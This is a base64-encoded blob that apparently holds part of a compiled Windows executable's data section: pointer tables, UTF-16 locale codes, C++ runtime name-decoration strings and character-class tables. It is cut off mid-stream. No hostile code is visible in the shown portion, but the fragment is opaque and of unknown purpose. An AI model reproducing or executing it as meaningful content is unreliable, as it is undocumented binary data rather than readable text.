YWFhQUAADAwgFCAiAAIACgnOFBXgAAHADcwMFBQiAAAACAogIiAgAAAAGBoYGhoaAgIB3hwcHdwcAgIAAAIAAgABwgAAAAAAAAAAQAAAHDXQgACAAAAeNdCAAMAAACA10IABAAAAIjXQgAFAAAAmNdCAAYAAACg10IABwAAAKjXQgAIAAAAsNdCAAkAAAC410IACgAAAMDXQgALAAAAyNdCAAwAAADQ10IADQAAANjXQgAOAAAA4NdCAA8AAADo10IAEAAAAPDXQgARAAAA+NdCABIAAAAA2EIAEwAAAAjYQgAUAAAAENhCABUAAAAY2EIAFgAAACDYQgAYAAAAKNhCABkAAAAw2EIAGgAAADjYQgAbAAAAQNhCABwAAABI2EIAHQAAAFDYQgAeAAAAWNhCAB8AAABg2EIAIAAAAGjYQgAhAAAAcNhCACIAAAB42EIAIwAAAIDYQgAkAAAAiNhCACUAAACQ2EIAJgAAAJjYQgAnAAAAoNhCACkAAACo2EIAKgAAALDYQgArAAAAuNhCACwAAADA2EIALQAAAMjYQgAvAAAA0NhCADYAAADY2EIANwAAAODYQgA4AAAA6NhCADkAAADw2EIAPgAAAPjYQgA/AAAAANlCAEAAAAAI2UIAQQAAABDZQgBDAAAAGNlCAEQAAAAg2UIARgAAACjZQgBHAAAAMNlCAEkAAAA42UIASgAAAEDZQgBLAAAASNlCAE4AAABQ2UIATwAAAFjZQgBQAAAAYNlCAFYAAABo2UIAVwAAAHDZQgBaAAAAeNlCAGUAAACA2UIAfwAAAMRnQwABBAAAiNlCAAIEAACU2UIAAwQAAKDZQgAEBAAAOLZCAAUEAACs2UIABgQAALjZQgAHBAAAxNlCAAgEAADQ2UIACQQAAJS5QgALBAAA3NlCAAwEAADo2UIADQQAAPTZQgAOBAAAANpCAA8EAAAM2kIAEAQAABjaQgARBAAAFLZCABIEAAAstkIAEwQAACTaQgAUBAAAMNpCABUEAAA82kIAFgQAAEjaQgAYBAAAVNpCABkEAABg2kIAGgQAAGzaQgAbBAAAeNpCABwEAACE2kIAHQQAAJDaQgAeBAAAnNpCAB8EAACo2kIAIAQAALTaQgAhBAAAwNpCACIEAADM2kIAIwQAANjaQgAkBAAA5NpCACUEAADw2kIAJgQAAPzaQgAnBAAACNtCACkEAAAU20IAKgQAACDbQgArBAAALNtCACwEAAA420IALQQAAFDbQgAvBAAAXNtCADIEAABo20IANAQAAHTbQgA1BAAAgNtCADYEAACM20IANwQAAJjbQgA4BAAApNtCADkEAACw20IAOgQAALzbQgA7BAAAyNtCAD4EAADU20IAPwQAAODbQgBABAAA7NtCAEEEAAD420IAQwQAAATcQgBEBAAAHNxCAEUEAAAo3EIARgQAADTcQgBHBAAAQNxCAEkEAABM3EIASgQAAFjcQgBLBAAAZNxCAEwEAABw3EIATgQAAHzcQgBPBAAAiNxCAFAEAACU3EIAUgQAAKDcQgBWBAAArNxCAFcEAAC43EIAWgQAAMjcQgBlBAAA2NxCAGsEAADo3EIAbAQAAPjcQgCBBAAABN1CAAEIAAAQ3UIABAgAACC2QgAHCAAAHN1CAAkIAAAo3UIACggAADTdQgAMCAAAQN1CABAIAABM3UIAEwgAAFjdQgAUCAAAZN1CABYIAABw3UIAGggAAHzdQgAdCAAAlN1CACwIAACg3UIAOwgAALjdQgA+CAAAxN1CAEMIAADQ3UIAawgAAOjdQgABDAAA+N1CAAQMAAAE3kIABwwAABDeQgAJDAAAHN5CAAoMAAAo3kIADAwAADTeQgAaDAAAQN5CADsMAABY3kIAawwAAGTeQgABEAAAdN5CAAQQAACA3kIABxAAAIzeQgAJEAAAmN5CAAoQAACk3kIADBAAALDeQgAaEAAAvN5CADsQAADI3kIAARQAANjeQgAEFAAA5N5CAAcUAADw3kIACRQAAPzeQgAKFAAACN9CAAwUAAAU30IAGhQAACDfQgA7FAAAON9CAAEYAABI30IACRgAAFTfQgAKGAAAYN9CAAwYAABs30IAGhgAAHjfQgA7GAAAkN9CAAEcAACg30IACRwAAKzfQgAKHAAAuN9CABocAADE30IAOxwAANzfQgABIAAA7N9CAAkgAAD430IACiAAAATgQgA7IAAAEOBCAAEkAAAg4EIACSQAACzgQgAKJAAAOOBCADskAABE4EIAASgAAFTgQgAJKAAAYOBCAAooAABs4EIAASwAAHjgQgAJLAAAhOBCAAosAACQ4EIAATAAAJzgQgAJMAAAqOBCAAowAAC04EIAATQAAMDgQgAJNAAAzOBCAAo0AADY4EIAATgAAOTgQgAKOAAA8OBCAAE8AAD84EIACjwAAAjhQgABQAAAFOFCAApAAAAg4UIACkQAACzhQgAKSAAAOOFCAApMAABE4UIAClAAAFDhQgAEfAAAXOFCABp8AABs4UIAxGdDAEIAAADY2EIALAAAAHThQgBxAAAAcNdCAAAAAACA4UIA2AAAAIzhQgDaAAAAmOFCALEAAACk4UIAoAAAALDhQgCPAAAAvOFCAM8AAADI4UIA1QAAANThQgDSAAAA4OFCAKkAAADs4UIAuQAAAPjhQgDEAAAABOJCANwAAAAQ4kIAQwAAABziQgDMAAAAKOJCAL8AAAA04kIAyAAAAMDYQgApAAAAQOJCAJsAAABY4kIAawAAAIDYQgAhAAAAcOJCAGMAAAB410IAAQAAAHziQgBEAAAAiOJCAH0AAACU4kIAtwAAAIDXQgACAAAArOJCAEUAAACY10IABAAAALjiQgBHAAAAxOJCAIcAAACg10IABQAAANDiQgBIAAAAqNdCAAYAAADc4kIAogAAAOjiQgCRAAAA9OJCAEkAAAAA40IAswAAAAzjQgCrAAAAgNlCAEEAAAAY40IAiwAAALDXQgAHAAAAKONCAEoAAAC410IACAAAADTjQgCjAAAAQONCAM0AAABM40IArAAAAFjjQgDJAAAAZONCAJIAAABw40IAugAAAHzjQgDFAAAAiONCALQAAACU40IA1gAAAKDjQgDQAAAArONCAEsAAAC440IAwAAAAMTjQgDTAAAAwNdCAAkAAADQ40IA0QAAANzjQgDdAAAA6ONCANcAAAD040IAygAAAADkQgC1AAAADORCAMEAAAAY5EIA1AAAACTkQgCkAAAAMORCAK0AAAA85EIA3wAAAEjkQgCTAAAAVORCAOAAAABg5EIAuwAAAGzkQgDOAAAAeORCAOEAAACE5EIA2wAAAJDkQgDeAAAAnORCANkAAACo5EIAxgAAAJDYQgAjAAAAtORCAGUAAADI2EIAKgAAAMDkQgBsAAAAqNhCACYAAADM5EIAaAAAAMjXQgAKAAAA2ORCAEwAAADo2EIALgAAAOTkQgBzAAAA0NdCAAsAAADw5EIAlAAAAPzkQgClAAAACOVCAK4AAAAU5UIATQAAACDlQgC2AAAALOVCALwAAABo2UIAPgAAADjlQgCIAAAAMNlCADcAAABE5UIAfwAAANjXQgAMAAAAUOVCAE4AAADw2EIALwAAAFzlQgB0AAAAONhCABgAAABo5UIArwAAAHTlQgBaAAAA4NdCAA0AAACA5UIATwAAALjYQgAoAAAAjOVCAGoAAABw2EIAHwAAAJjlQgBhAAAA6NdCAA4AAACk5UIAUAAAAPDXQgAPAAAAsOVCAJUAAAC85UIAUQAAAPjXQgAQAAAAyOVCAFIAAADg2EIALQAAANTlQgByAAAAANlCADEAAADg5UIAeAAAAEjZQgA6AAAA7OVCAIIAAAAA2EIAEQAAAHDZQgA/AAAA+OVCAIkAAAAI5kIAUwAAAAjZQgAyAAAAFOZCAHkAAACg2EIAJQAAACDmQgBnAAAAmNhCACQAAAAs5kIAZgAAADjmQgCOAAAA0NhCACsAAABE5kIAbQAAAFDmQgCDAAAAYNlCAD0AAABc5kIAhgAAAFDZQgA7AAAAaOZCAIQAAAD42EIAMAAAAHTmQgCdAAAAgOZCAHcAAACM5kIAdQAAAJjmQgBVAAAACNhCABIAAACk5kIAlgAAALDmQgBUAAAAvOZCAJcAAAAQ2EIAEwAAAMjmQgCNAAAAKNlCADYAAADU5kIAfgAAABjYQgAUAAAA4OZCAFYAAAAg2EIAFQAAAOzmQgBXAAAA+OZCAJgAAAAE50IAjAAAABTnQgCfAAAAJOdCAKgAAAAo2EIAFgAAADTnQgBYAAAAMNhCABcAAABA50IAWQAAAFjZQgA8AAAATOdCAIUAAABY50IApwAAAGTnQgB2AAAAcOdCAJwAAABA2EIAGQAAAHznQgBbAAAAiNhCACIAAACI50IAZAAAAJTnQgC+AAAApOdCAMMAAAC050IAsAAAAMTnQgC4AAAA1OdCAMsAAADk50IAxwAAAEjYQgAaAAAA9OdCAFwAAABs4UIA4wAAAADoQgDCAAAAGOhCAL0AAAAw6EIApgAAAEjoQgCZAAAAUNhCABsAAABg6EIAmgAAAGzoQgBdAAAAENlCADMAAAB46EIAegAAAHjZQgBAAAAAhOhCAIoAAAA42UIAOAAAAJToQgCAAAAAQNlCADkAAACg6EIAgQAAAFjYQgAcAAAArOhCAF4AAAC46EIAbgAAAGDYQgAdAAAAxOhCAF8AAAAg2UIANQAAANDoQgB8AAAAeNhCACAAAADc6EIAYgAAAGjYQgAeAAAA6OhCAGAAAAAY2UIANAAAAPToQgCeAAAADOlCAHsAAACw2EIAJwAAACTpQgBpAAAAMOlCAG8AAAA86UIAAwAAAEzpQgDiAAAAXOlCAJAAAABo6UIAoQAAAHTpQgCyAAAAgOlCAKoAAACM6UIARgAAAJjpQgBwAAAAYQByAAAAAABiAGcAAAAAAGMAYQAAAAAAegBoAC0AQwBIAFMAAAAAAGMAcwAAAAAAZABhAAAAAABkAGUAAAAAAGUAbAAAAAAAZQBuAAAAAABlAHMAAAAAAGYAaQAAAAAAZgByAAAAAABoAGUAAAAAAGgAdQAAAAAAaQBzAAAAAABpAHQAAAAAAGoAYQAAAAAAawBvAAAAAABuAGwAAAAAAG4AbwAAAAAAcABsAAAAAABwAHQAAAAAAHIAbwAAAAAAcgB1AAAAAABoAHIAAAAAAHMAawAAAAAAcwBxAAAAAABzAHYAAAAAAHQAaAAAAAAAdAByAAAAAAB1AHIAAAAAAGkAZAAAAAAAdQBrAAAAAABiAGUAAAAAAHMAbAAAAAAAZQB0AAAAAABsAHYAAAAAAGwAdAAAAAAAZgBhAAAAAAB2AGkAAAAAAGgAeQAAAAAAYQB6AAAAAABlAHUAAAAAAG0AawAAAAAAYQBmAAAAAABrAGEAAAAAAGYAbwAAAAAAaABpAAAAAABtAHMAAAAAAGsAawAAAAAAawB5AAAAAABzAHcAAAAAAHUAegAAAAAAdAB0AAAAAABwAGEAAAAAAGcAdQAAAAAAdABhAAAAAAB0AGUAAAAAAGsAbgAAAAAAbQByAAAAAABzAGEAAAAAAG0AbgAAAAAAZwBsAAAAAABrAG8AawAAAHMAeQByAAAAZABpAHYAAABhAHIALQBTAEEAAABiAGcALQBCAEcAAABjAGEALQBFAFMAAABjAHMALQBDAFoAAABkAGEALQBEAEsAAABkAGUALQBEAEUAAABlAGwALQBHAFIAAABmAGkALQBGAEkAAABmAHIALQBGAFIAAABoAGUALQBJAEwAAABoAHUALQBIAFUAAABpAHMALQBJAFMAAABpAHQALQBJAFQAAABuAGwALQBOAEwAAABuAGIALQBOAE8AAABwAGwALQBQAEwAAABwAHQALQBCAFIAAAByAG8ALQBSAE8AAAByAHUALQBSAFUAAABoAHIALQBIAFIAAABzAGsALQBTAEsAAABzAHEALQBBAEwAAABzAHYALQBTAEUAAAB0AGgALQBUAEgAAAB0AHIALQBUAFIAAAB1AHIALQBQAEsAAABpAGQALQBJAEQAAAB1AGsALQBVAEEAAABiAGUALQBCAFkAAABzAGwALQBTAEkAAABlAHQALQBFAEUAAABsAHYALQBMAFYAAABsAHQALQBMAFQAAABmAGEALQBJAFIAAAB2AGkALQBWAE4AAABoAHkALQBBAE0AAABhAHoALQBBAFoALQBMAGEAdABuAAAAAABlAHUALQBFAFMAAABtAGsALQBNAEsAAAB0AG4ALQBaAEEAAAB4AGgALQBaAEEAAAB6AHUALQBaAEEAAABhAGYALQBaAEEAAABrAGEALQBHAEUAAABmAG8ALQBGAE8AAABoAGkALQBJAE4AAABtAHQALQBNAFQAAABzAGUALQBOAE8AAABtAHMALQBNAFkAAABrAGsALQBLAFoAAABrAHkALQBLAEcAAABzAHcALQBLAEUAAAB1AHoALQBVAFoALQBMAGEAdABuAAAAAAB0AHQALQBSAFUAAABiAG4ALQBJAE4AAABwAGEALQBJAE4AAABnAHUALQBJAE4AAAB0AGEALQBJAE4AAAB0AGUALQBJAE4AAABrAG4ALQBJAE4AAABtAGwALQBJAE4AAABtAHIALQBJAE4AAABzAGEALQBJAE4AAABtAG4ALQBNAE4AAABjAHkALQBHAEIAAABnAGwALQBFAFMAAABrAG8AawAtAEkATgAAAAAAcwB5AHIALQBTAFkAAAAAAGQAaQB2AC0ATQBWAAAAAABxAHUAegAtAEIATwAAAAAAbgBzAC0AWgBBAAAAbQBpAC0ATgBaAAAAYQByAC0ASQBRAAAAZABlAC0AQwBIAAAAZQBuAC0ARwBCAAAAZQBzAC0ATQBYAAAAZgByAC0AQgBFAAAAaQB0AC0AQwBIAAAAbgBsAC0AQgBFAAAAbgBuAC0ATgBPAAAAcAB0AC0AUABUAAAAcwByAC0AUwBQAC0ATABhAHQAbgAAAAAAcwB2AC0ARgBJAAAAYQB6AC0AQQBaAC0AQwB5AHIAbAAAAAAAcwBlAC0AUwBFAAAAbQBzAC0AQgBOAAAAdQB6AC0AVQBaAC0AQwB5AHIAbAAAAAAAcQB1AHoALQBFAEMAAAAAAGEAcgAtAEUARwAAAHoAaAAtAEgASwAAAGQAZQAtAEEAVAAAAGUAbgAtAEEAVQAAAGUAcwAtAEUAUwAAAGYAcgAtAEMAQQAAAHMAcgAtAFMAUAAtAEMAeQByAGwAAAAAAHMAZQAtAEYASQAAAHEAdQB6AC0AUABFAAAAAABhAHIALQBMAFkAAAB6AGgALQBTAEcAAABkAGUALQBMAFUAAABlAG4ALQBDAEEAAABlAHMALQBHAFQAAABmAHIALQBDAEgAAABoAHIALQBCAEEAAABzAG0AagAtAE4ATwAAAAAAYQByAC0ARABaAAAAegBoAC0ATQBPAAAAZABlAC0ATABJAAAAZQBuAC0ATgBaAAAAZQBzAC0AQwBSAAAAZgByAC0ATABVAAAAYgBzAC0AQgBBAC0ATABhAHQAbgAAAAAAcwBtAGoALQBTAEUAAAAAAGEAcgAtAE0AQQAAAGUAbgAtAEkARQAAAGUAcwAtAFAAQQAAAGYAcgAtAE0AQwAAAHMAcgAtAEIAQQAtAEwAYQB0AG4AAAAAAHMAbQBhAC0ATgBPAAAAAABhAHIALQBUAE4AAABlAG4ALQBaAEEAAABlAHMALQBEAE8AAABzAHIALQBCAEEALQBDAHkAcgBsAAAAAABzAG0AYQAtAFMARQAAAAAAYQByAC0ATwBNAAAAZQBuAC0ASgBNAAAAZQBzAC0AVgBFAAAAcwBtAHMALQBGAEkAAAAAAGEAcgAtAFkARQAAAGUAbgAtAEMAQgAAAGUAcwAtAEMATwAAAHMAbQBuAC0ARgBJAAAAAABhAHIALQBTAFkAAABlAG4ALQBCAFoAAABlAHMALQBQAEUAAABhAHIALQBKAE8AAABlAG4ALQBUAFQAAABlAHMALQBBAFIAAABhAHIALQBMAEIAAABlAG4ALQBaAFcAAABlAHMALQBFAEMAAABhAHIALQBLAFcAAABlAG4ALQBQAEgAAABlAHMALQBDAEwAAABhAHIALQBBAEUAAABlAHMALQBVAFkAAABhAHIALQBCAEgAAABlAHMALQBQAFkAAABhAHIALQBRAEEAAABlAHMALQBCAE8AAABlAHMALQBTAFYAAABlAHMALQBIAE4AAABlAHMALQBOAEkAAABlAHMALQBQAFIAAAB6AGgALQBDAEgAVAAAAAAAcwByAAAAAABhAGYALQB6AGEAAABhAHIALQBhAGUAAABhAHIALQBiAGgAAABhAHIALQBkAHoAAABhAHIALQBlAGcAAABhAHIALQBpAHEAAABhAHIALQBqAG8AAABhAHIALQBrAHcAAABhAHIALQBsAGIAAABhAHIALQBsAHkAAABhAHIALQBtAGEAAABhAHIALQBvAG0AAABhAHIALQBxAGEAAABhAHIALQBzAGEAAABhAHIALQBzAHkAAABhAHIALQB0AG4AAABhAHIALQB5AGUAAABhAHoALQBhAHoALQBjAHkAcgBsAAAAAABhAHoALQBhAHoALQBsAGEAdABuAAAAAABiAGUALQBiAHkAAABiAGcALQBiAGcAAABiAG4ALQBpAG4AAABiAHMALQBiAGEALQBsAGEAdABuAAAAAABjAGEALQBlAHMAAABjAHMALQBjAHoAAABjAHkALQBnAGIAAABkAGEALQBkAGsAAABkAGUALQBhAHQAAABkAGUALQBjAGgAAABkAGUALQBkAGUAAABkAGUALQBsAGkAAABkAGUALQBsAHUAAABkAGkAdgAtAG0AdgAAAAAAZQBsAC0AZwByAAAAZQBuAC0AYQB1AAAAZQBuAC0AYgB6AAAAZQBuAC0AYwBhAAAAZQBuAC0AYwBiAAAAZQBuAC0AZwBiAAAAZQBuAC0AaQBlAAAAZQBuAC0AagBtAAAAZQBuAC0AbgB6AAAAZQBuAC0AcABoAAAAZQBuAC0AdAB0AAAAZQBuAC0AdQBzAAAAZQBuAC0AegBhAAAAZQBuAC0AegB3AAAAZQBzAC0AYQByAAAAZQBzAC0AYgBvAAAAZQBzAC0AYwBsAAAAZQBzAC0AYwBvAAAAZQBzAC0AYwByAAAAZQBzAC0AZABvAAAAZQBzAC0AZQBjAAAAZQBzAC0AZQBzAAAAZQBzAC0AZwB0AAAAZQBzAC0AaABuAAAAZQBzAC0AbQB4AAAAZQBzAC0AbgBpAAAAZQBzAC0AcABhAAAAZQBzAC0AcABlAAAAZQBzAC0AcAByAAAAZQBzAC0AcAB5AAAAZQBzAC0AcwB2AAAAZQBzAC0AdQB5AAAAZQBzAC0AdgBlAAAAZQB0AC0AZQBlAAAAZQB1AC0AZQBzAAAAZgBhAC0AaQByAAAAZgBpAC0AZgBpAAAAZgBvAC0AZgBvAAAAZgByAC0AYgBlAAAAZgByAC0AYwBhAAAAZgByAC0AYwBoAAAAZgByAC0AZgByAAAAZgByAC0AbAB1AAAAZgByAC0AbQBjAAAAZwBsAC0AZQBzAAAAZwB1AC0AaQBuAAAAaABlAC0AaQBsAAAAaABpAC0AaQBuAAAAaAByAC0AYgBhAAAAaAByAC0AaAByAAAAaAB1AC0AaAB1AAAAaAB5AC0AYQBtAAAAaQBkAC0AaQBkAAAAaQBzAC0AaQBzAAAAaQB0AC0AYwBoAAAAaQB0AC0AaQB0AAAAagBhAC0AagBwAAAAawBhAC0AZwBlAAAAawBrAC0AawB6AAAAawBuAC0AaQBuAAAAawBvAGsALQBpAG4AAAAAAGsAbwAtAGsAcgAAAGsAeQAtAGsAZwAAAGwAdAAtAGwAdAAAAGwAdgAtAGwAdgAAAG0AaQAtAG4AegAAAG0AawAtAG0AawAAAG0AbAAtAGkAbgAAAG0AbgAtAG0AbgAAAG0AcgAtAGkAbgAAAG0AcwAtAGIAbgAAAG0AcwAtAG0AeQAAAG0AdAAtAG0AdAAAAG4AYgAtAG4AbwAAAG4AbAAtAGIAZQAAAG4AbAAtAG4AbAAAAG4AbgAtAG4AbwAAAG4AcwAtAHoAYQAAAHAAYQAtAGkAbgAAAHAAbAAtAHAAbAAAAHAAdAAtAGIAcgAAAHAAdAAtAHAAdAAAAHEAdQB6AC0AYgBvAAAAAABxAHUAegAtAGUAYwAAAAAAcQB1AHoALQBwAGUAAAAAAHIAbwAtAHIAbwAAAHIAdQAtAHIAdQAAAHMAYQAtAGkAbgAAAHMAZQAtAGYAaQAAAHMAZQAtAG4AbwAAAHMAZQAtAHMAZQAAAHMAawAtAHMAawAAAHMAbAAtAHMAaQAAAHMAbQBhAC0AbgBvAAAAAABzAG0AYQAtAHMAZQAAAAAAcwBtAGoALQBuAG8AAAAAAHMAbQBqAC0AcwBlAAAAAABzAG0AbgAtAGYAaQAAAAAAcwBtAHMALQBmAGkAAAAAAHMAcQAtAGEAbAAAAHMAcgAtAGIAYQAtAGMAeQByAGwAAAAAAHMAcgAtAGIAYQAtAGwAYQB0AG4AAAAAAHMAcgAtAHMAcAAtAGMAeQByAGwAAAAAAHMAcgAtAHMAcAAtAGwAYQB0AG4AAAAAAHMAdgAtAGYAaQAAAHMAdgAtAHMAZQAAAHMAdwAtAGsAZQAAAHMAeQByAC0AcwB5AAAAAAB0AGEALQBpAG4AAAB0AGUALQBpAG4AAAB0AGgALQB0AGgAAAB0AG4ALQB6AGEAAAB0AHIALQB0AHIAAAB0AHQALQByAHUAAAB1AGsALQB1AGEAAAB1AHIALQBwAGsAAAB1AHoALQB1AHoALQBjAHkAcgBsAAAAAAB1AHoALQB1AHoALQBsAGEAdABuAAAAAAB2AGkALQB2AG4AAAB4AGgALQB6AGEAAAB6AGgALQBjAGgAcwAAAAAAegBoAC0AYwBoAHQAAAAAAHoAaAAtAGMAbgAAAHoAaAAtAGgAawAAAHoAaAAtAG0AbwAAAHoAaAAtAHMAZwAAAHoAaAAtAHQAdwAAAHoAdQAtAHoAYQAAAAAAAAAAAAAAAAAAAAAAAAAAAADA//81wmghotoPyf8/AAAAAAAA8D8IBAgICAQICAAEDAgABAwIAAAAAAAAAAAAAPA/fwI1wmghotoPyT5A////////738AAAAAAAAQAAAAAAAAAJjAAAAAAAAAmEAAAAAAAADwfwAAAAAAAAAAAAAAALTrQgDA60IAyOtCANTrQgDg60IA7OtCAPjrQgAI7EIAFOxCABzsQgAk7EIAMOxCADzsQgBG7EIASOxCAFDsQgBY7EIAXOxCAGDsQgBk7EIAaOxCAGzsQgBw7EIAdOxCAIDsQgCE7EIAiOxCAIzsQgCQ7EIAlOxCAJjsQgCc7EIAoOxCAKTsQgCo7EIArOxCALDsQgC07EIAuOxCALzsQgDA7EIAxOxCAMjsQgDM7EIA0OxCANTsQgDY7EIA3OxCAODsQgDk7EIA6OxCAOzsQgDw7EIA9OxCAPjsQgD87EIACO1CABTtQgAc7UIAKO1CAEDtQgBM7UIAYO1CAIDtQgCg7UIAwO1CAODtQgAA7kIAJO5CAEDuQgBk7kIAhO5CAKzuQgDI7kIA2O5CANzuQgDk7kIA9O5CABjvQgAg70IALO9CADzvQgBY70IAeO9CAKDvQgDI70IA8O9CABzwQgA48EIAXPBCAIDwQgCs8EIA2PBCAEbsQgD08EIACPFCACTxQgA48UIAWPFCAF9fYmFzZWQoAAAAAF9fY2RlY2wAX19wYXNjYWwAAAAAX19zdGRjYWxsAAAAX190aGlzY2FsbAAAX19mYXN0Y2FsbAAAX192ZWN0b3JjYWxsAAAAAF9fY2xyY2FsbAAAAF9fZWFiaQAAX19wdHI2NABfX3Jlc3RyaWN0AABfX3VuYWxpZ25lZAByZXN0cmljdCgAAAAgbmV3AAAAACBkZWxldGUAPQAAAD4+AAA8PAAAIQAAAD09AAAhPQAAW10AAG9wZXJhdG9yAAAAAC0+AAAqAAAAKysAAC0tAAAtAAAAKwAAACYAAAAtPioALwAAACUAAAA8AAAAPD0AAD4AAAA+PQAALAAAACgpAAB+AAAAXgAAAHwAAAAmJgAAfHwAACo9AAArPQAALT0AAC89AAAlPQAAPj49ADw8PQAmPQAAfD0AAF49AABgdmZ0YWJsZScAAABgdmJ0YWJsZScAAABgdmNhbGwnAGB0eXBlb2YnAAAAAGBsb2NhbCBzdGF0aWMgZ3VhcmQnAAAAAGBzdHJpbmcnAAAAAGB2YmFzZSBkZXN0cnVjdG9yJwAAYHZlY3RvciBkZWxldGluZyBkZXN0cnVjdG9yJwAAAABgZGVmYXVsdCBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAAGBzY2FsYXIgZGVsZXRpbmcgZGVzdHJ1Y3RvcicAAAAAYHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAGB2aXJ0dWFsIGRpc3BsYWNlbWVudCBtYXAnAABgZWggdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgZWggdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAGBlaCB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAABgY29weSBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAYHVkdCByZXR1cm5pbmcnAGBFSABgUlRUSQAAAGBsb2NhbCB2ZnRhYmxlJwBgbG9jYWwgdmZ0YWJsZSBjb25zdHJ1Y3RvciBjbG9zdXJlJwAgbmV3W10AACBkZWxldGVbXQAAAGBvbW5pIGNhbGxzaWcnAABgcGxhY2VtZW50IGRlbGV0ZSBjbG9zdXJlJwAAYHBsYWNlbWVudCBkZWxldGVbXSBjbG9zdXJlJwAAAABgbWFuYWdlZCB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYG1hbmFnZWQgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGBlaCB2ZWN0b3IgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgZWggdmVjdG9yIHZiYXNlIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAGBkeW5hbWljIGluaXRpYWxpemVyIGZvciAnAABgZHluYW1pYyBhdGV4aXQgZGVzdHJ1Y3RvciBmb3IgJwAAAABgdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAABgdmVjdG9yIHZiYXNlIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAGBtYW5hZ2VkIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAYGxvY2FsIHN0YXRpYyB0aHJlYWQgZ3VhcmQnACBUeXBlIERlc2NyaXB0b3InAAAAIEJhc2UgQ2xhc3MgRGVzY3JpcHRvciBhdCAoACBCYXNlIENsYXNzIEFycmF5JwAAIENsYXNzIEhpZXJhcmNoeSBEZXNjcmlwdG9yJwAAAAAgQ29tcGxldGUgT2JqZWN0IExvY2F0b3InAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgACAAIAAgACAAIAAgACAAIAAoACgAKAAoACgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEACEAIQAhACEAIQAhACEAIQAhACEABAAEAAQABAAEAAQABAAgQCBAIEAgQCBAIEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABABAAEAAQABAAEAAQAIIAggCCAIIAggCCAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAQABAAEAAQACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEBgQGBAYEBgQGBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEQABAAEAAQABAAEACCAYIBggGCAYIBggECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBEAAQABAAEAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBARAAAQEBAQEBAQEBAQEBAQECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgEQAAIBAgECAQIBAgECAQIBAgEBAQAAAACAgYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6ytrq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+/wABAgMEBQYHCAkKCwwNDg8QERITFBUWFxgZGhscHR4fICEiIyQlJicoKSorLC0uLzAxMjM0NTY3ODk6Ozw9Pj9AYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpbXF1eX2BhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ent8fX5/gIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnp+goaKjpKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4O